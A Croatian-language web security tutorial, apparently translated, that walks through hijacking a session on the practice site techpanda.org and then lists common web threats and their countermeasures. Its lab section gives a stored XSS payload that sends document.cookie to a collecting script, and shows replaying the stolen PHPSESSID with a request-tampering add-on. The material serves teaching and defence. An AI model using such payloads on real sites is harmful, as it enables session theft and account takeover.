Kako hakirati web stranicu? Tehnike hakiranja web stranice

⚡ Pametni sažetak

Hakiranje web stranica iskorištava slabosti u web aplikacijama - loše napisan kod, neprovjeren unos i slabo rukovanje sesijama - kako bi se dobio neovlašteni pristup. Ova stranica prikazuje uobičajene tehnike napada i, što je još važnije, protumjere koje održavaju web stranicu sigurnom.

  • 🌐 Target: Web aplikacije prihvaćaju korisnički unos putem interneta, izlažući svako nevalidirano polje napadu.
  • ???? Tehnike: SQL injekcija, cross-site scripting, trovanje sesija, manipuliranje obrascima i injekcija koda su na vrhu popisa.
  • 🍪 Otmica sesije: Ukradeni ID sesije omogućuje napadaču da se lažno predstavlja kao prijavljeni korisnik bez lozinke.
  • 🛡️ obrana: Validacija unosa, parametrizirani upiti i šifrirani kolačići sesije zatvaraju uobičajene praznine.
  • 🎯 Standard: OWASP Top 10 definira web ranjivosti koje bi svaki programer trebao testirati.
  • 🤖 Moderni rub: Vatrozidi pokretani umjetnom inteligencijom uče normalan promet i označavaju pokušaje ubrizgavanja u stvarnom vremenu.

Kako hakirati web stranicu

Više ljudi ima pristup internetu nego ikad prije. To je potaknulo mnoge organizacije da razviju web aplikacije koje korisnici mogu koristiti online za interakciju s organizacijom. Loše napisan kod za web aplikacije može se iskoristiti za dobivanje neovlaštenog pristupa osjetljivim podacima i web poslužiteljima.

Naučit ćete uobičajene tehnike hakiranja web stranica i protumjere koje štite od takvih napada.

Kako hakirati web stranicu

U ovom praktičnom scenariju hakiranja web stranice, otet ćemo korisničku sesiju web aplikacije koja se nalazi na www.techpanda.orgKoristit ćemo cross-site scripting za čitanje ID-a sesije kolačića, a zatim ga upotrijebiti za oponašanje legitimne korisničke sesije.

Pretpostavka je da napadač ima pristup web aplikaciji i želi oteti sesije drugih korisnika koji koriste istu aplikaciju. Cilj ovog napada mogao bi biti dobivanje administratorskog pristupa web aplikaciji, pod pretpostavkom da je napadačev pristupni račun ograničen.

Korak 1) Otvorite URL http://www.techpanda.org/.

Za praktične svrhe, toplo se preporučuje pristup pomoću SQL injekcije. Pogledajte ovaj članak o SQL injekciji za više informacija o tome kako to učiniti.

Korak 2) Unesite podatke za prijavu.

E-pošta za prijavu je admin@google.com, a lozinka je Password2010.

Korak 3) Provjerite nadzornu ploču.

Ako ste se uspješno prijavili, dobit ćete sljedeću nadzornu ploču.

Nadzorna ploča Techpande prikazana nakon uspješne prijave

Korak 4) Unesite novi sadržaj.

Kliknite na Dodaj novi kontakt i unesite sljedeće kao ime:

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

Korak 5) Dodajte JavaSkripta.

Gornji kod koristi JavaSkripta. Dodaje hipervezu s događajem onclick. Kada ništa ne sluteći korisnik klikne na vezu, događaj dohvaća ID sesije PHP kolačića i šalje ga na stranicu snatch_sess_id.php zajedno s ID-om sesije u URL.

Dodajte novi kontaktni obrazac sa zlonamjernim skriptom unesenim u polje za ime

Korak 6) Dodajte detalje.

Unesite preostale podatke kao što je prikazano dolje i kliknite Spremi promjene.

Ispunjeni kontaktni obrazac spreman za spremanje u bazu podataka

Korak 7) Provjerite nadzornu ploču.

Vaša nadzorna ploča sada će izgledati kao na sljedećem zaslonu.

Nadzorna ploča kontakata koja prikazuje pohranjeni unos s tamnom hipervezom

Korak 8) Provjerite ID sesije.

Budući da je cross-site skripta pohranjena u bazi podataka, ona se učitava svaki put kada se korisnici s pravima pristupa prijave. Kada se administrator prijavi i klikne na hipervezu s natpisom Dark, prikazuje se prozor s ID-om sesije prikazanim u URL.

Prozor preglednika koji prikazuje snimljeni ID sesije proslijeđen u URL

Napomena: skripta bi mogla poslati vrijednost udaljenom poslužitelju na kojem je pohranjen PHPSESSID, a zatim preusmjeriti korisnika natrag kao da se ništa nije dogodilo.

Napomena: vrijednost koju dobijete može se razlikovati od one prikazane ovdje, ali koncept je isti.

Upotreba oponašanja sesije Firefox i Tamper Data dodatak

Napomena: klasični dodatak Tamper Data prikazan u nastavku više se ne instalira na trenutni Firefox, ali koncept koji ilustrira - presretanje i mijenjanje HTTP zahtjeva za ponovno reproduciranje snimljene sesije - ostaje nepromijenjen.

Dijagram toka u nastavku prikazuje korake koje morate poduzeti da biste dovršili ovu vježbu.

Dijagram toka koraka vježbe oponašanja sesije

  • Trebat će vam Firefox web preglednik za ovaj odjeljak i dodatak Tamper Data.
  • Otvoren Firefox i instalirajte dodatak kao što je prikazano na dijagramima ispod.

Firefox upravitelj dodataka koji se koristi za traženje dodatka Tamper Data

Podaci o neovlaštenom mijenjanju navedeni su u Firefox rezultati pretraživanja dodataka

  • Potražite podatke o neovlaštenom pristupu, a zatim kliknite na instalaciju kao što je prikazano gore.

Dijalog za dopuštenja za dodatak s gumbom Prihvati i instaliraj

  • Kliknite na Prihvati i instaliraj…

Firefox upit za ponovno pokretanje preglednika nakon instaliranja dodatka

Firefox traka izbornika omogućena je tako da je izbornik Alati vidljiv

  • Kliknite na Ponovno pokreni sada kada instalacija završi.
  • Omogućite traku izbornika Firefox ako nije prikazano.

Izbornik Alati otvoren je s odabranim Podaci o neovlaštenom mijenjanju

  • Kliknite na izbornik Alati, a zatim odaberite Podaci o neovlaštenom mijenjanju kao što je prikazano dolje.

Ispraznite prozor s podacima o neovlaštenom pristupu prije snimanja zahtjeva

  • Dobit ćete sljedeći prozor. Napomena: Ako prozor nije prazan, pritisnite gumb za brisanje.

Skočni prozor s upitom za izmjenu podataka o neovlaštenoj izmjeni odlaznog zahtjeva

  • Kliknite na izbornik Pokreni neovlašteno mijenjanje.
  • Prebacite se natrag na Firefox U web preglednik upišite http://www.techpanda.org/dashboard.php, a zatim pritisnite tipku Enter za učitavanje stranice.
  • Dobit ćete sljedeći skočni prozor od Tamper Data.

Skočni prozor za neovlašteno mijenjanje s opcijama za neovlašteno mijenjanje, slanje i prekid

  • Skočni prozor ima tri (3) opcije. Opcija Izmjena omogućuje vam izmjenu podataka HTTP zaglavlja prije nego što se pošalju poslužitelju.
  • Kliknite na nju.
  • Dobit ćete sljedeći prozor.

Zahtjev za uređivač zaglavlja gdje se vrijednost kolačića može zamijeniti

  • Kopirajte ID PHP sesije koji ste kopirali iz napada URL i zalijepite ga nakon znaka jednakosti. Vaša vrijednost bi sada trebala izgledati ovako.
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
  • Kliknite na gumb OK.
  • Ponovno ćete dobiti skočni prozor s podacima o neovlaštenom mijenjanju.

Ponovno se pojavljuje skočni prozor s podacima o neovlaštenom mijenjanju i potvrdni okvir Nastavi neovlašteno mijenjanje

  • Poništite potvrdni okvir koji pita Continue Tampering?
  • Kliknite na gumb za slanje kada završite.
  • Trebali biste moći vidjeti nadzornu ploču kao što je prikazano dolje.

Do nadzorne ploče Techpande došlo se ponovnim reprodukcijom snimljene sesije

Napomena: nismo se prijavili; oponašali smo sesiju prijave koristeći PHPSESSID vrijednost koju smo preuzeli korištenjem cross-site scriptinga.

Što je web aplikacija? Što su web prijetnje?

Web aplikacija (poznata i kao web stranica) je aplikacija temeljena na klijent-poslužitelj modelu. Poslužitelj omogućuje pristup bazi podataka i poslovnu logiku. Nalazi se na web poslužitelju. Klijentska aplikacija radi na klijentskom web pregledniku. Web aplikacije su obično napisane u jezicima kao što su Java, C#, VB.Net, PHPi ColdFusion Markup Language, itd. Baze podataka koje se koriste u web aplikacijama uključuju MySQL, MS SQL Server, PostgreSQL, SQLite, Itd

Vrhunske tehnike hakiranja web stranica

Većina web aplikacija nalazi se na javnim poslužitelji dostupni putem interneta. To ih čini ranjivima na napade zbog lake dostupnosti. Slijede uobičajene prijetnje web aplikacijama.

  • SQL Injection – cilj ove prijetnje mogao bi biti zaobilaženje algoritama za prijavu, sabotiranje podataka itd.
  • Denial of Service Napadi – cilj ove prijetnje mogao bi biti uskratiti legitimnim korisnicima pristup resursu.
  • Skripta na više stranica (XSS) – cilj ove prijetnje mogao bi biti ubrizgavanje koda koji se može izvršiti u pregledniku na strani klijenta.
  • Trovanje kolačićima/sesijom – cilj ove prijetnje je izmijeniti kolačiće/podatke o sesiji od strane napadača kako bi dobio neovlašteni pristup.
  • Neovlašteno mijenjanje obrasca – cilj ove prijetnje je modificiranje podataka obrazaca kao što su cijene u aplikacijama za e-trgovinu kako bi napadač mogao dobiti artikle po sniženim cijenama.
  • Code Ubrizgavanje – cilj ove prijetnje je ubacivanje koda kao što je PHP, Python, itd. koji se mogu izvršiti na poslužitelju. Kod može instalirati stražnja vrata, otkriti osjetljive informacije itd.
  • Oskvrnjivanje – cilj ove prijetnje je izmijeniti stranicu koja se prikazuje na web mjestu i preusmjeriti sve zahtjeve za stranicu na jednu stranicu koja sadrži poruku napadača.

Kako zaštititi svoju web stranicu od hakova?

Organizacija može usvojiti sljedeću politiku kako bi se zaštitila od napada web poslužitelja.

  • SQL Injection – čišćenje i validacija korisničkih parametara prije slanja u bazu podataka na obradu može pomoći u smanjenju vjerojatnosti napada putem SQL injekcije. Mehanizmi baza podataka kao što je MS SQL Server, MySQLitd. podržavaju parametre i pripremljene naredbe. Mnogo su sigurniji od tradicionalnih SQL naredbi.
  • Odbijanje napada usluga – Vatrozidi se mogu koristiti za odbacivanje prometa sa sumnjivih IP adresa ako je napad jednostavan DoS. Pravilna konfiguracija mreža i sustav za otkrivanje upada također mogu pomoći u smanjenju vjerojatnosti uspjeha DoS napada.
  • Skriptiranje na više mjesta – validiranje i čišćenje zaglavlja, parametara proslijeđenih putem URL, parametri obrasca i skrivene vrijednosti mogu pomoći u smanjenju XSS napada.
  • Trovanje kolačićima/sesijom – to se može spriječiti šifriranjem sadržaja kolačića, vremenskim ograničenjem kolačića nakon nekog vremena i povezivanjem kolačića s IP adresom klijenta koja je korištena za njihovo stvaranje.
  • Neovlašteno mijenjanje obrasca – to se može spriječiti validacijom i provjerom korisničkog unosa prije njegove obrade.
  • Code Ubrizgavanje – to se može spriječiti tretiranjem svih parametara kao podataka, a ne kao izvršnog koda. Za implementaciju ovoga mogu se koristiti sanitizacija i validacija.
  • Oskvrnjivanje – dobar sigurnost web aplikacije Pravila bi trebala osigurati da se zapečate često korištene ranjivosti za pristup web poslužitelju. To može biti pravilna konfiguracija operativnog sustava, softvera web poslužitelja i najboljih sigurnosnih praksi prilikom razvoja.ping web aplikacije.

Provjeri ovo: 9 najbolji URL Skeneri za provjeru je li poveznica sigurna od zlonamjernog softvera

Pitanja i odgovori

Samo uz pismeno dopuštenje vlasnika. Testiranje web-mjesta koje ne posjedujete ili za koje nemate ovlaštenje za procjenu je ilegalno prema zakonima poput američkog Zakona o računalnim prijevarama i zlouporabi. Opsezi nagrade za pogreške definiraju što je dopušteno.

Pripazite na oštećene stranice, neočekivane nove administratorske korisnike, nepoznate datoteke ili skripte, preusmjeravanja na neželjene web-lokacije i skokove prometa. Praćenje integriteta datoteka, pregled zapisnika poslužitelja i skener zlonamjernog softvera rano otkrivaju većinu kompromitiranih sadržaja.

OWASP Top 10 je popis najkritičnijih sigurnosnih rizika web aplikacija koji održava zajednica. U izdanju za 2025. godinu na prvo mjesto stavlja Prekinutu kontrolu pristupa, a slijede je pogrešna konfiguracija sigurnosti i kvarovi u lancu opskrbe softverom.

WAF pregledava dolazni HTTP promet i blokira poznate obrasce napada poput SQL injekcije i cross-site scriptinga prije nego što dođu do aplikacije. Nudi virtualno krpanje, ali ne zamjenjuje sigurni kod.

Vatrozidi pokretani umjetnom inteligencijom uče normalan promet web-mjesta, a zatim u stvarnom vremenu označavaju anomalije poput pokušaja ubrizgavanja, pretrpavanja vjerodajnica i zlouporabe botova. Modeli strojnog učenja hvataju zero-day obrasce koje statička pravila propuštaju, s manje lažno pozitivnih rezultata.

AI asistenti poput GitHub kopilot ubrzavaju pisanje validacije ulaza i parametriziranih upita, ali mogu i predložiti nesigurne obrasce. Tretirajte svaki prijedlog kao nacrt i neka ga pregleda čovjek prije implementacije.

Popularne opcije uključuju CEH, OSCP i CompTIA Security+, dok CISSP široko pokriva sigurnosnu arhitekturu. Oni potvrđuju procjenu ranjivosti, sigurnu konfiguraciju i obrambene vještine koje poslodavci očekuju za uloge u web sigurnosti.

Skeniranje ranjivosti je automatizirano i brzo navodi poznate slabosti bez njihovog iskorištavanja. Testiranje prodiranja je uglavnom ručni angažman gdje testeri aktivno iskorištavaju nedostatke kako bi pokazali stvarni utjecaj. Skeniranje nudi širinu; testiranje olovkom nudi dubinu.

Sažmite ovu objavu uz: